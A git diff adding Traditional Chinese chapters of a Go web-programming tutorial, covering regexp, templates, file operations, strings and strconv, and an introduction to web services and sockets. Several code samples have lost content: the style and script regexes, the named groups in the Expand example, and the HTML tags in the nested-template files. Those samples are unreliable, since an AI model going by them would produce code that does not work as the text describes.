+import ( + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" +) + +func main() { + resp, err := http.Get("http://www.baidu.com/") + if err != nil { + fmt.Println("http get error.") + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("http read error") + return + } + + src := string(body) + + //將 HTML 標籤全轉換成小寫 + re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllStringFunc(src, strings.ToLower) + + //去除 STYLE + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + //去除 SCRIPT + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + //去除所有尖括號內的 HTML 程式碼,並換成換行符 + re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllString(src, "\n") + + //去除連續的換行符 + re, _ = regexp.Compile("\\s{2,}") + src = re.ReplaceAllString(src, "\n") + + fmt.Println(strings.TrimSpace(src)) +} +``` + +從這個範例可以看出,使用複雜的正則首先是 Compile,它會解析正則表示式是否合法,如果正確,那麼就會回傳一個 Regexp,然後就可以利用回傳的 Regexp 在任意的字串上面執行需要的操作。 + +解析正則表示式的有如下幾個方法: + +```Go +func Compile(expr string) (*Regexp, error) +func CompilePOSIX(expr string) (*Regexp, error) +func MustCompile(str string) *Regexp +func MustCompilePOSIX(str string) *Regexp +``` +CompilePOSIX 和 Compile 的不同點在於 POSIX 必須使用 POSIX 語法,它使用最左最長方式搜尋,而 Compile 是採用的則只採用最左方式搜尋(例如[a-z]{2,4}這樣一個正則表示式,應用於"aa09aaa88aaaa"這個文字串時,CompilePOSIX 回傳了 aaaa,而 Compile 的回傳的是 aa)。字首有 Must 的函式表示,在解析正則語法的時候,如果匹配模式串不滿足正確的語法則直接 panic,而不加 Must 的則只是回傳錯誤。 + +在了解了如何建立一個 Regexp 之後,我們再來看一下這個 struct 提供了哪些方法來輔助我們操作字串,首先我們來看下面這些用來搜尋的函式: + +```Go +func (re *Regexp) Find(b []byte) []byte +func (re *Regexp) FindAll(b []byte, n int) [][]byte +func (re *Regexp) FindAllIndex(b []byte, n int) [][]int +func (re *Regexp) FindAllString(s string, n int) []string +func (re *Regexp) FindAllStringIndex(s string, n int) [][]int +func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string +func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int +func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte +func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int +func (re *Regexp) FindIndex(b []byte) (loc []int) +func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) +func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int +func (re *Regexp) FindString(s string) string +func (re *Regexp) FindStringIndex(s string) (loc []int) +func (re *Regexp) FindStringSubmatch(s string) []string +func (re *Regexp) FindStringSubmatchIndex(s string) []int +func (re *Regexp) FindSubmatch(b []byte) [][]byte +func (re *Regexp) FindSubmatchIndex(b []byte) []int +``` +上面這 18 個函式我們根據輸入源(byte slice、string 和 io.RuneReader)不同還可以繼續簡化成如下幾個,其他的只是輸入源不一樣,其他功能基本是一樣的: + +```Go +func (re *Regexp) Find(b []byte) []byte +func (re *Regexp) FindAll(b []byte, n int) [][]byte +func (re *Regexp) FindAllIndex(b []byte, n int) [][]int +func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte +func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int +func (re *Regexp) FindIndex(b []byte) (loc []int) +func (re *Regexp) FindSubmatch(b []byte) [][]byte +func (re *Regexp) FindSubmatchIndex(b []byte) []int +``` +對於這些函式的使用我們來看下面這個例子 + +```Go +package main + +import ( + "fmt" + "regexp" +) + +func main() { + a := "I am learning Go language" + + re, _ := regexp.Compile("[a-z]{2,4}") + + //查詢符合正則的第一個 + one := re.Find([]byte(a)) + fmt.Println("Find:", string(one)) + + //查詢符合正則的所有 slice,n 小於 0 表示回傳全部符合的字串,不然就是回傳指定的長度 + all := re.FindAll([]byte(a), -1) + fmt.Println("FindAll", all) + + //查詢符合條件的 index 位置,開始位置和結束位置 + index := re.FindIndex([]byte(a)) + fmt.Println("FindIndex", index) + + //查詢符合條件的所有的 index 位置,n 同上 + allindex := re.FindAllIndex([]byte(a), -1) + fmt.Println("FindAllIndex", allindex) + + re2, _ := regexp.Compile("am(.*)lang(.*)") + + //查詢 Submatch,回傳陣列,第一個元素是匹配的全部元素,第二個元素是第一個()裡面的,第三個是第二個()裡面的 + //下面的輸出第一個元素是"am learning Go language" + //第二個元素是" learning Go ",注意包含空格的輸出 + //第三個元素是"uage" + submatch := re2.FindSubmatch([]byte(a)) + fmt.Println("FindSubmatch", submatch) + for _, v := range submatch { + fmt.Println(string(v)) + } + + //定義和上面的 FindIndex 一樣 + submatchindex := re2.FindSubmatchIndex([]byte(a)) + fmt.Println(submatchindex) + + //FindAllSubmatch,查詢所有符合條件的子匹配 + submatchall := re2.FindAllSubmatch([]byte(a), -1) + fmt.Println(submatchall) + + //FindAllSubmatchIndex,查詢所有字匹配的 index + submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) + fmt.Println(submatchallindex) +} +``` + +前面介紹過匹配函式,Regexp 也定義了三個函式,它們和同名的外部函式功能一模一樣,其實外部函式就是呼叫了這 Regexp 的三個函式來實現的: + +```Go +func (re *Regexp) Match(b []byte) bool +func (re *Regexp) MatchReader(r io.RuneReader) bool +func (re *Regexp) MatchString(s string) bool +``` + +接下來讓我們來了解替換函式是怎麼操作的? + +```Go +func (re *Regexp) ReplaceAll(src, repl []byte) []byte +func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte +func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte +func (re *Regexp) ReplaceAllLiteralString(src, repl string) string +func (re *Regexp) ReplaceAllString(src, repl string) string +func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string +``` +這些替換函式我們在上面的抓網頁的例子有詳細應用範例, + +接下來我們看一下 Expand 的解釋: + +```Go +func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte +func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte +``` +那麼這個 Expand 到底用來幹嘛的呢?請看下面的例子: + +```Go +func main() { + src := []byte(` + call hello alice + hello bob + call hello eve + `) + pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) + res := []byte{} + for _, s := range pat.FindAllSubmatchIndex(src, -1) { + res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) + } + fmt.Println(string(res)) +} +``` +至此我們已經全部介紹完 Go 語言的 `regexp` 套件,透過對它的主要函式介紹及示範,相信大家應該能夠透過 Go 語言的正則套件進行一些基本的正則的操作了。 + + +## links + * [目錄]() + * 上一節:[Json 處理](<07.2.md>) + * 下一節:[範本處理](<07.4.md>) diff --git a/zh-tw/07.4.md b/zh-tw/07.4.md new file mode 100644 index 000000000..ca858994c --- /dev/null +++ b/zh-tw/07.4.md @@ -0,0 +1,374 @@ +# 7.4 範本處理 +## 什麼是範本 +你一定聽說過一種叫做 MVC 的設計模式,Model 處理資料,View 展現結果,Controller 控制使用者的請求,至於 View 層的處理,在很多動態語言裡面都是透過在靜態 HTML 中插入動態語言產生的資料,例如 JSP 中透過插入`<%=....=%>`,PHP 中透過插入``來實現的。 + +透過下面這個圖可以說明範本的機制 + +![](images/7.4.template.png) + +圖 7.1 範本機制圖 + +Web 應用反饋給客戶端的資訊中的大部分內容是靜態的,不變的,而另外少部分是根據使用者的請求來動態產生的,例如要顯示使用者的訪問記錄列表。使用者之間只有記錄資料是不同的,而列表的樣式則是固定的,此時採用範本可以複用很多靜態程式碼。 + +## Go 範本使用 +在 Go 語言中,我們使用 `template` 套件來進行範本處理,使用類似`Parse`、`ParseFile`、`Execute`等方法從檔案或者字串載入範本,然後執行類似上面圖片展示的範本的 merge 操作。請看下面的例子: + +```Go +func handler(w http.ResponseWriter, r *http.Request) { + t := template.New("some template") //建立一個範本 + t, _ = t.ParseFiles("tmpl/welcome.html") //解析範本檔案 + user := GetUser() //取得當前使用者資訊 + t.Execute(w, user) //執行範本的 merger 操作 +} +``` +透過上面的例子我們可以看到 Go 語言的範本操作非常的簡單方便,和其他語言的範本處理類似,都是先取得資料,然後渲染資料。 + +為了示範和測試程式碼的方便,我們在接下來的例子中採用如下格式的程式碼 + +- 使用 Parse 代替 ParseFiles,因為 Parse 可以直接測試一個字串,而不需要額外的檔案 +- 不使用 handler 來寫示範程式碼,而是每個測試一個 main,方便測試 +- 使用`os.Stdout`代替`http.ResponseWriter`,因為`os.Stdout`實現了`io.Writer`介面 + +## 範本中如何插入資料? +上面我們示範了如何解析並渲染範本,接下來讓我們來更加詳細的了解如何把資料渲染出來。一個範本都是應用在一個 Go 的物件之上,Go 物件的欄位如何插入到範本中呢? + +### 欄位操作 +Go 語言的範本透過 `{{}}` 來包含需要在渲染時被替換的欄位,`{{.}}`表示當前的物件,這和 Java 或者 C++中的 this 類似,如果要訪問當前物件的欄位透過`{{.FieldName}}`,但是需要注意一點:這個欄位必須是匯出的(欄位首字母必須是大寫的),否則在渲染的時候就會報錯,請看下面的這個例子: + +```Go +package main + +import ( + "html/template" + "os" +) + +type Person struct { + UserName string +} + +func main() { + t := template.New("fieldname example") + t, _ = t.Parse("hello {{.UserName}}!") + p := Person{UserName: "Astaxie"} + t.Execute(os.Stdout, p) +} +``` +上面的程式碼我們可以正確的輸出`hello Astaxie`,但是如果我們稍微修改一下程式碼,在範本中含有了未匯出的欄位,那麼就會報錯 + +```Go +type Person struct { + UserName string + email string //未匯出的欄位,首字母是小寫的 +} + +t, _ = t.Parse("hello {{.UserName}}! {{.email}}") +``` +上面的程式碼就會報錯,因為我們呼叫了一個未匯出的欄位,但是如果我們呼叫了一個不存在的欄位是不會報錯的,而是輸出為空。 + +如果範本中輸出`{{.}}`,這個一般應用於字串物件,預設會呼叫 fmt 套件輸出字串的內容。 + +### 輸出巢狀欄位內容 +上面我們例子展示了如何針對一個物件的欄位輸出,那麼如果欄位裡面還有物件,如何來迴圈的輸出這些內容呢?我們可以使用`{{with …}}…{{end}}`和`{{range …}}{{end}}`來進行資料的輸出。 + +- {{range}} 這個和 Go 語法裡面的 range 類似,迴圈操作資料 +- {{with}}操作是指當前物件的值,類似上下文的概念 + +詳細的使用請看下面的例子: + +```Go +package main + +import ( + "html/template" + "os" +) + +type Friend struct { + Fname string +} + +type Person struct { + UserName string + Emails []string + Friends []*Friend +} + +func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an email {{.}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) +} +``` +### 條件處理 +在 Go 範本裡面如果需要進行條件判斷,那麼我們可以使用和 Go 語言的`if-else`語法類似的方式來處理,如果 pipeline 為空,那麼 if 就認為是 false,下面的例子展示了如何使用`if-else`語法: + +```Go +package main + +import ( + "os" + "text/template" +) + +func main() { + tEmpty := template.New("template test") + tEmpty = template.Must(tEmpty.Parse("空 pipeline if demo: {{if ``}} 不會輸出. {{end}}\n")) + tEmpty.Execute(os.Stdout, nil) + + tWithValue := template.New("template test") + tWithValue = template.Must(tWithValue.Parse("不為空的 pipeline if demo: {{if `anything`}} 我有內容,我會輸出. {{end}}\n")) + tWithValue.Execute(os.Stdout, nil) + + tIfElse := template.New("template test") + tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if 部分 {{else}} else 部分.{{end}}\n")) + tIfElse.Execute(os.Stdout, nil) +} +``` +透過上面的示範程式碼我們知道`if-else`語法相當的簡單,在使用過程中很容易整合到我們的範本程式碼中。 + +> 注意:if 裡面無法使用條件判斷,例如.Mail=="astaxie@gmail.com",這樣的判斷是不正確的,if 裡面只能是 bool 值 + +### pipelines +Unix 使用者已經很熟悉什麼是 `pipe` 了,`ls | grep "beego"`類似這樣的語法你是不是經常使用,過濾當前目錄下面的檔案,顯示含有"beego"的資料,表達的意思就是前面的輸出可以當做後面的輸入,最後顯示我們想要的資料,而 Go 語言範本最強大的一點就是支援 pipe 資料,在 Go 語言裡面任何 `{{}}` 裡面的都是 pipelines 資料,例如我們上面輸出的 email 裡面如果還有一些可能引起 XSS 注入的,那麼我們如何來進行轉化呢? + +```Go +{{. | html}} +``` + +在 email 輸出的地方我們可以採用如上方式可以把輸出全部轉化 html 的實體,上面的這種方式和我們平常寫 Unix 的方式是不是一模一樣,操作起來相當的簡便,呼叫其他的函式也是類似的方式。 + +### 範本變數 +有時候,我們在範本使用過程中需要定義一些區域性變數,我們可以在一些操作中宣告區域性變數,例如 `with``range``if` 過程中宣告區域性變數,這個變數的作用域是 `{{end}}` 之前,Go 語言透過宣告的區域性變數格式如下所示: + +```Go +$variable := pipeline +``` +詳細的例子看下面的: + +```Go +{{with $x := "output" | printf "%q"}}{{$x}}{{end}} +{{with $x := "output"}}{{printf "%q" $x}}{{end}} +{{with $x := "output"}}{{$x | printf "%q"}}{{end}} +``` + +### 範本函式 +範本在輸出物件的欄位值時,採用了 `fmt` 套件把物件轉化成了字串。但是有時候我們的需求可能不是這樣的,例如有時候我們為了防止垃圾郵件傳送者透過採集網頁的方式來發送給我們的郵箱資訊,我們希望把 `@` 替換成 `at` 例如:`astaxie at beego.me`,如果要實現這樣的功能,我們就需要自訂函式來做這個功能。 + +每一個範本函式都有一個唯一值的名字,然後與一個 Go 函式關聯,透過如下的方式來關聯 + +```Go +type FuncMap map[string]interface{} +``` +例如,如果我們想要的 email 函式的範本函式名是`emailDeal`,它關聯的 Go 函式名稱是`EmailDealWith`,那麼我們可以透過下面的方式來註冊這個函式 + +```Go +t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) +``` +`EmailDealWith`這個函式的參數和回傳值定義如下: + +```Go +func EmailDealWith(args …interface{}) string +``` +我們來看下面的實現例子: + +```Go +package main + +import ( + "fmt" + "html/template" + "os" + "strings" +) + +type Friend struct { + Fname string +} + +type Person struct { + UserName string + Emails []string + Friends []*Friend +} + +func EmailDealWith(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + // find the @ symbol + substrs := strings.Split(s, "@") + if len(substrs) != 2 { + return s + } + // replace the @ by " at " + return (substrs[0] + " at " + substrs[1]) +} + +func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an emails {{.|emailDeal}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) +} +``` + +上面示範了如何自訂函式,其實,在範本套件內部已經有內建的實現函式,下面程式碼擷取自範本套件裡面 + +```Go +var builtins = FuncMap{ + "and": and, + "call": call, + "html": HTMLEscaper, + "index": index, + "js": JSEscaper, + "len": length, + "not": not, + "or": or, + "print": fmt.Sprint, + "printf": fmt.Sprintf, + "println": fmt.Sprintln, + "urlquery": URLQueryEscaper, +} +``` + +## Must 操作 +範本套件裡面有一個函式`Must`,它的作用是檢測範本是否正確,例如大括號是否匹配,註釋是否正確的關閉,變數是否正確的書寫。接下來我們示範一個例子,用 Must 來判斷範本是否正確: + +```Go +package main + +import ( + "fmt" + "text/template" +) + +func main() { + tOk := template.New("first") + template.Must(tOk.Parse(" some static text /* and a comment */")) + fmt.Println("The first one parsed OK.") + + template.Must(template.New("second").Parse("some static text {{ .Name }}")) + fmt.Println("The second one parsed OK.") + + fmt.Println("The next one ought to fail.") + tErr := template.New("check parse error with Must") + template.Must(tErr.Parse(" some static text {{ .Name }")) +} +``` + +將輸出如下內容 + +``` + +The first one parsed OK. +The second one parsed OK. +The next one ought to fail. +panic: template: check parse error with Must:1: unexpected "}" in command +``` +## 巢狀範本 +我們平常開發 Web 應用的時候,經常會遇到一些範本有些部分是固定不變的,然後可以抽取出來作為一個獨立的部分,例如一個部落格的頭部和尾部是不變的,而唯一改變的是中間的內容部分。所以我們可以定義成`header`、`content`、`footer`三個部分。Go 語言中透過如下的語法來宣告 + +```Go +{{define "子範本名稱"}}內容{{end}} +``` +透過如下方式來呼叫: + +```Go +{{template "子範本名稱"}} +``` +接下來我們示範如何使用巢狀範本,我們定義三個檔案,`header.tmpl`、`content.tmpl`、`footer.tmpl`檔案,裡面的內容如下 +```html + +//header.tmpl +{{define "header"}} + + + 示範資訊 + + +{{end}} + +//content.tmpl +{{define "content"}} +{{template "header"}} +

示範巢狀

+
    +
  • 巢狀使用 define 定義子範本
  • +
  • 呼叫使用 template
  • +
+{{template "footer"}} +{{end}} + +//footer.tmpl +{{define "footer"}} + + +{{end}} +``` +示範程式碼如下: + +```Go +package main + +import ( + "fmt" + "os" + "text/template" +) + +func main() { + s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") + s1.ExecuteTemplate(os.Stdout, "header", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "content", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "footer", nil) + fmt.Println() + s1.Execute(os.Stdout, nil) +} +``` +透過上面的例子我們可以看到透過`template.ParseFiles`把所有的巢狀範本全部解析到範本裡面,其實每一個定義的 {{define}} 都是一個獨立的範本,他們相互獨立,是並行存在的關係,內部其實儲存的是類似 map 的一種關係(key 是範本的名稱,value 是範本的內容),然後我們透過 `ExecuteTemplate` 來執行相應的子範本內容,我們可以看到 header、footer 都是相對獨立的,都能輸出內容,content 中因為嵌套了 header 和 footer 的內容,就會同時輸出三個的內容。但是當我們執行`s1.Execute`,沒有任何的輸出,因為在預設的情況下沒有預設的子範本,所以不會輸出任何的東西。 + +>同一個集合類別的範本是互相知曉的,如果同一範本被多個集合使用,則它需要在多個集合中分別解析 + +## 總結 +透過上面對範本的詳細介紹,我們了解了如何把動態資料與範本融合:如何輸出迴圈資料、如何自訂函式、如何巢狀範本等等。透過範本技術的應用,我們可以完成 MVC 模式中 V 的處理,接下來的章節我們將介紹如何來處理 M 和 C。 + +## links + * [目錄]() + * 上一節:[正則處理](<07.3.md>) + * 下一節:[檔案操作](<07.5.md>) diff --git a/zh-tw/07.5.md b/zh-tw/07.5.md new file mode 100644 index 000000000..468d9255b --- /dev/null +++ b/zh-tw/07.5.md @@ -0,0 +1,165 @@ +# 7.5 檔案操作 +在任何計算機裝置中,檔案是都是必須的物件,而在 Web 程式設計中,檔案的操作一直是 Web 程式設計師經常遇到的問題,檔案操作在 Web 應用中是必須的,非常有用的,我們經常遇到產生檔案目錄,檔案(夾)編輯等操作,現在我把 Go 中的這些操作做一詳細總結並範例示範如何使用。 +## 目錄操作 +檔案操作的大多數函式都是在 os 套件裡面,下面列舉了幾個目錄操作的: + +- func Mkdir(name string, perm FileMode) error + + 建立名稱為 name 的目錄,許可權設定是 perm,例如 0777 + + +- func MkdirAll(path string, perm FileMode) error + + 根據 path 建立多階層子目錄,例如 astaxie/test1/test2。 + +- func Remove(name string) error + + 刪除名稱為 name 的目錄,當目錄下有檔案或者其他目錄時會出錯 + +- func RemoveAll(path string) error + + 根據 path 刪除多階層子目錄,如果 path 是單個名稱,那麼該目錄下的子目錄全部刪除。 + + +下面是示範程式碼: + +```Go + +package main + +import ( + "fmt" + "os" +) + +func main() { + os.Mkdir("astaxie", 0777) + os.MkdirAll("astaxie/test1/test2", 0777) + err := os.Remove("astaxie") + if err != nil { + fmt.Println(err) + } + os.RemoveAll("astaxie") +} + +``` + +## 檔案操作 + +### 建立與開啟檔案 +建立檔案可以透過如下兩個方法 + +- func Create(name string) (file *File, err Error) + + 根據提供的檔名建立新的檔案,回傳一個檔案物件,預設許可權是 0666 的檔案,回傳的檔案物件是可讀寫的。 + +- func NewFile(fd uintptr, name string) *File + + 根據檔案描述符建立相應的檔案,回傳一個檔案物件 + + +透過如下兩個方法來開啟檔案: + +- func Open(name string) (file *File, err Error) + + 該方法開啟一個名稱為 name 的檔案,但是是隻讀方式,內部實現其實呼叫了 OpenFile。 + +- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) + + 開啟名稱為 name 的檔案,flag 是開啟的方式,只讀、讀寫等,perm 是許可權 + +### 寫入檔案 + +寫入檔案函式: + +- func (file *File) Write(b []byte) (n int, err Error) + + 寫入 byte 型別的資訊到檔案 + +- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) + + 在指定位置開始寫入 byte 型別的資訊 + +- func (file *File) WriteString(s string) (ret int, err Error) + + 寫入 string 資訊到檔案 + +寫入檔案的範例程式碼 + +```Go +package main + +import ( + "fmt" + "os" +) + +func main() { + userFile := "astaxie.txt" + fout, err := os.Create(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fout.Close() + for i := 0; i < 10; i++ { + fout.WriteString("Just a test!\r\n") + fout.Write([]byte("Just a test!\r\n")) + } +} + +``` + +### 讀取檔案 + +讀取檔案函式: + +- func (file *File) Read(b []byte) (n int, err Error) + + 讀取資料到 b 中 + +- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) + + 從 off 開始讀取資料到 b 中 + +讀取檔案的範例程式碼: + +```Go + +package main + +import ( + "fmt" + "os" +) + +func main() { + userFile := "asatxie.txt" + fl, err := os.Open(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fl.Close() + buf := make([]byte, 1024) + for { + n, _ := fl.Read(buf) + if 0 == n { + break + } + os.Stdout.Write(buf[:n]) + } +} +``` + +### 刪除檔案 +Go 語言裡面刪除檔案和刪除資料夾是同一個函式 + +- func Remove(name string) Error + + 呼叫該函式就可以刪除檔名為 name 的檔案 + +## links + * [目錄]() + * 上一節:[範本處理](<07.4.md>) + * 下一節:[字串處理](<07.6.md>) diff --git a/zh-tw/07.6.md b/zh-tw/07.6.md new file mode 100644 index 000000000..5f417af95 --- /dev/null +++ b/zh-tw/07.6.md @@ -0,0 +1,184 @@ +# 7.6 字串處理 +字串在我們平常的 Web 開發中經常用到,包括使用者的輸入,資料庫讀取的資料等,我們經常需要對字串進行分割、連線、轉換等操作,本小節將透過 Go 標準函式庫中的 strings 和 strconv 兩個套件中的函式來講解如何進行有效快速的操作。 +## 字串操作 +下面這些函式來自於 strings 套件,這裡介紹一些我平常經常用到的函式,更詳細的請參考官方的文件。 + +- func Contains(s, substr string) bool + + 字串 s 中是否包含 substr,回傳 bool 值 + +```Go + +fmt.Println(strings.Contains("seafood", "foo")) +fmt.Println(strings.Contains("seafood", "bar")) +fmt.Println(strings.Contains("seafood", "")) +fmt.Println(strings.Contains("", "")) +//Output: +//true +//false +//true +//true + +``` + +- func Join(a []string, sep string) string + + 字串連結,把 slice a 透過 sep 連結起來 + +```Go + +s := []string{"foo", "bar", "baz"} +fmt.Println(strings.Join(s, ", ")) +//Output:foo, bar, baz +``` + +- func Index(s, sep string) int + + 在字串 s 中查詢 sep 所在的位置,回傳位置值,找不到回傳-1 + +```Go + +fmt.Println(strings.Index("chicken", "ken")) +fmt.Println(strings.Index("chicken", "dmr")) +//Output:4 +//-1 +``` +- func Repeat(s string, count int) string + + 重複 s 字串 count 次,最後回傳重複的字串 + +```Go + +fmt.Println("ba" + strings.Repeat("na", 2)) +//Output:banana +``` +- func Replace(s, old, new string, n int) string + + 在 s 字串中,把 old 字串替換為 new 字串,n 表示替換的次數,小於 0 表示全部替換 + +```Go + +fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) +fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) +//Output:oinky oinky oink +//moo moo moo +``` +- func Split(s, sep string) []string + + 把 s 字串按照 sep 分割,回傳 slice + + +```Go + +fmt.Printf("%q\n", strings.Split("a,b,c", ",")) +fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) +fmt.Printf("%q\n", strings.Split(" xyz ", "")) +fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) +//Output:["a" "b" "c"] +//["" "man " "plan " "canal panama"] +//[" " "x" "y" "z" " "] +//[""] +``` + +- func Trim(s string, cutset string) string + + 在 s 字串的頭部和尾部去除 cutset 指定的字串 + +```Go + +fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) +//Output:["Achtung"] +``` + +- func Fields(s string) []string + + 去除 s 字串的空格符,並且按照空格分割回傳 slice + + +```Go + +fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) +//Output:Fields are: ["foo" "bar" "baz"] +``` + +## 字串轉換 +字串轉化的函式在 strconv 中,如下也只是列出一些常用的: + +- Append 系列函式將整數等轉換為字串後,新增到現有的位元組陣列中。 + +```Go + +package main + +import ( + "fmt" + "strconv" +) + +func main() { + str := make([]byte, 0, 100) + str = strconv.AppendInt(str, 4567, 10) + str = strconv.AppendBool(str, false) + str = strconv.AppendQuote(str, "abcdefg") + str = strconv.AppendQuoteRune(str, '單') + fmt.Println(string(str)) +} +``` + +- Format 系列函式把其他型別的轉換為字串 + +```Go + +package main + +import ( + "fmt" + "strconv" +) + +func main() { + a := strconv.FormatBool(false) + b := strconv.FormatFloat(123.23, 'g', 12, 64) + c := strconv.FormatInt(1234, 10) + d := strconv.FormatUint(12345, 10) + e := strconv.Itoa(1023) + fmt.Println(a, b, c, d, e) +} + +``` + +- Parse 系列函式把字串轉換為其他型別 + +```Go + +package main + +import ( + "fmt" + "strconv" +) +func checkError(e error){ + if e != nil{ + fmt.Println(e) + } +} +func main() { + a, err := strconv.ParseBool("false") + checkError(err) + b, err := strconv.ParseFloat("123.23", 64) + checkError(err) + c, err := strconv.ParseInt("1234", 10, 64) + checkError(err) + d, err := strconv.ParseUint("12345", 10, 64) + checkError(err) + e, err := strconv.Atoi("1023") + checkError(err) + fmt.Println(a, b, c, d, e) +} + +``` + +## links + * [目錄]() + * 上一節:[檔案操作](<07.5.md>) + * 下一節:[小結](<07.7.md>) diff --git a/zh-tw/07.7.md b/zh-tw/07.7.md new file mode 100644 index 000000000..e8aee353c --- /dev/null +++ b/zh-tw/07.7.md @@ -0,0 +1,7 @@ +# 7.7 小結 +這一章給大家介紹了一些文字處理的工具,包括 XML、JSON、正則和範本技術,XML 和 JSON 是資料互動的工具,透過 XML 和 JSON 你可以表達各種含義,透過正則你可以處理文字(搜尋、替換、擷取),透過範本技術你可以展現這些資料給使用者。這些都是你開發 Web 應用過程中需要用到的技術,透過這個小節的介紹你能夠了解如何處理文字、展現文字。 + +## links + * [目錄]() + * 上一節:[字串處理](<07.6.md>) + * 下一章:[Web 服務](<08.0.md>) diff --git a/zh-tw/08.0.md b/zh-tw/08.0.md new file mode 100644 index 000000000..7622e334f --- /dev/null +++ b/zh-tw/08.0.md @@ -0,0 +1,20 @@ +# 8 Web 服務 +Web 服務可以讓你在 HTTP 協議的基礎上透過 XML 或者 JSON 來交換資訊。如果你想知道上海的天氣預報、中國石油的股價或者淘寶商家的一個商品資訊,你可以編寫一段簡短的程式碼,透過抓取這些資訊然後透過標準的介面開放出來,就如同你呼叫一個本地函式並回傳一個值。 + +Web 服務背後的關鍵在於平臺的無關性,你可以執行你的服務在 Linux 系統,可以與其他 Windows 的 asp.net 程式互動,同樣的,也可以透過同一個介面和執行在 FreeBSD 上面的 JSP 無障礙地通訊。 + +目前主流的有如下幾種 Web 服務:REST、SOAP。 + +REST 請求是很直觀的,因為 REST 是基於 HTTP 協議的一個補充,他的每一次請求都是一個 HTTP 請求,然後根據不同的 method 來處理不同的邏輯,很多 Web 開發者都熟悉 HTTP 協議,所以學習 REST 是一件比較容易的事情。所以我們在 8.3 小節將詳細的講解如何在 Go 語言中來實現 REST 方式。 + +SOAP 是 W3C 在跨網路資訊傳遞和遠端計算機函式呼叫方面的一個標準。但是 SOAP 非常複雜,其完整的規範篇幅很長,而且內容仍然在增加。Go 語言是以簡單著稱,所以我們不會介紹 SOAP 這樣複雜的東西。而 Go 語言提供了一種天生效能很不錯,開發起來很方便的 RPC 機制,我們將會在 8.4 小節詳細介紹如何使用 Go 語言來實現 RPC。 + +Go 語言是 21 世紀的 C 語言,我們追求的是效能、簡單,所以我們在 8.1 小節裡面介紹如何使用 Socket 程式設計,很多遊戲服務都是採用 Socket 來編寫伺服器端,因為 HTTP 協議相對而言比較耗費效能,讓我們看看 Go 語言如何來 Socket 程式設計。目前隨著 HTML5 的發展,webSockets 也逐漸的成為很多頁遊公司接下來開發的一些手段,我們將在 8.2 小節裡面講解 Go 語言如何編寫 webSockets 的程式碼。 + +## 目錄 + ![](images/navi8.png) + +## links + * [目錄]() + * 上一章:[第七章總結](<07.7.md>) + * 下一節:[Socket 程式設計](<08.1.md>) diff --git a/zh-tw/08.1.md b/zh-tw/08.1.md new file mode 100644 index 000000000..87a5da34f --- /dev/null +++ b/zh-tw/08.1.md @@ -0,0 +1,449 @@ +# 8.1 Socket 程式設計 +在很多底層網路應用開發者的眼裡一切程式設計都是 Socket,話雖然有點誇張,但卻也幾乎如此了,現在的網路程式設計幾乎都是用 Socket 來程式設計。你想過這些情景麼?我們每天開啟瀏覽器瀏覽網頁時,瀏覽器程序怎麼和 Web 伺服器進行通訊的呢?當你用 QQ 聊天時,QQ 程序怎麼和伺服器或者是你的好友所在的 QQ 程序進行通訊的呢?當你開啟 PPstream 